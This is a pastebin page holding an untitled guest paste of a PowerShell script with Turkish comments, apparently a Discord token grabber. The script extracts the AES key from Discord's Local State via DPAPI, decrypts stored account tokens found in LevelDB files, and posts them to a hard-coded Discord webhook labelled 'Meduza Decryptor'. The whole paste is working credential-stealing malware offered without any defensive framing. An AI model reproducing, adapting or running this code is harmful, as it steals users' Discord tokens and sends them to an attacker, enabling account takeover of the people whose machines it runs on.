💰 Make Money Sharing Files ➜

Untitled

a guest
Nov 21th, 2026
3 view(s)
Never
NOTE: This is a guest paste. Sign up for a free account to edit, delete, and manage your pastes!
Text 3.17 KB
Raw
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Add-Type -AssemblyName System.Security

$webhook = "https://discord.com/api/webhooks/1573694461165174857/Dnq2_qTdMW3EOubghCfrZxRqRUdPDgFo3tRbtqZTS_bif3oNfLee-hyeXncj-WgmZK9S"

$paths = @("$env:APPDATA\discord", "$env:APPDATA\discordcanary", "$env:APPDATA\discordptb")
$tokens = @()

# 1. AES Anahtarını Al
$localStatePaths = @(
    "$env:APPDATA\discord\Local State",
    "$env:APPDATA\discordcanary\Local State",
    "$env:APPDATA\discordptb\Local State"
)

$key = $null
foreach ($ls in $localStatePaths) {
    if (Test-Path $ls) {
        try {
            $json = Get-Content $ls -Raw | ConvertFrom-Json
            if ($json.os_crypt.encrypted_key) {
                $encKey = [Convert]::FromBase64String($json.os_crypt.encrypted_key)
                $encKey = $encKey[5..($encKey.Length - 1)]
                $key = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
                break
            }
        } catch {}
    }
}

# 2. LevelDB'den token çek
if ($key) {
    foreach ($path in $paths) {
        $leveldbPath = Join-Path $path "Local Storage\leveldb"
        if (Test-Path $leveldbPath) {
            Get-ChildItem -Path $leveldbPath -Filter "*.ldb" -ErrorAction SilentlyContinue | ForEach-Object {
                $content = Get-Content $_.FullName -Raw -Encoding Byte
                $text = [System.Text.Encoding]::UTF8.GetString($content)
                $matches = [regex]::Matches($text, 'dQw4w9WgXcQ:([^"]+)')
                foreach ($m in $matches) {
                    $encToken = $m.Groups[1].Value
                    try {
                        $tokenBytes = [Convert]::FromBase64String($encToken)
                        $nonce = $tokenBytes[3..14]
                        $ciphertext = $tokenBytes[15..($tokenBytes.Length - 17)]
                        $tag = $tokenBytes[($tokenBytes.Length - 16)..($tokenBytes.Length - 1)]

                        $aes = New-Object System.Security.Cryptography.AesGcm($key)
                        $decryptedBytes = New-Object byte[] $ciphertext.Length
                        $aes.Decrypt($nonce, $ciphertext, $tag, $decryptedBytes)
                        
                        $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
                        $tokens += $decryptedToken
                    } catch {
                        $tokens += "FAILED_DECRYPT"
                    }
                }
            }
        }
    }
}

# 3. Webhook
$tokens = $tokens | Select-Object -Unique
if ($tokens.Count -gt 0) {
    $body = @{ content = "**Decrypted Tokens:**`n``````n" + ($tokens -join "`n") + "`n``````"; username = "Meduza Decryptor" } | ConvertTo-Json
    Invoke-RestMethod -Uri $webhook -Method Post -Body $body -ContentType "application/json"
} else {
    # Eğer key bulunamadıysa veya hata olduysa, webhook'a durum bildir
    $body = @{ content = "**Status:** Key not found or decrypt failed.`nTokens found: $($tokens.Count)"; username = "Meduza Decryptor" } | ConvertTo-Json
    Invoke-RestMethod -Uri $webhook -Method Post -Body $body -ContentType "application/json"
}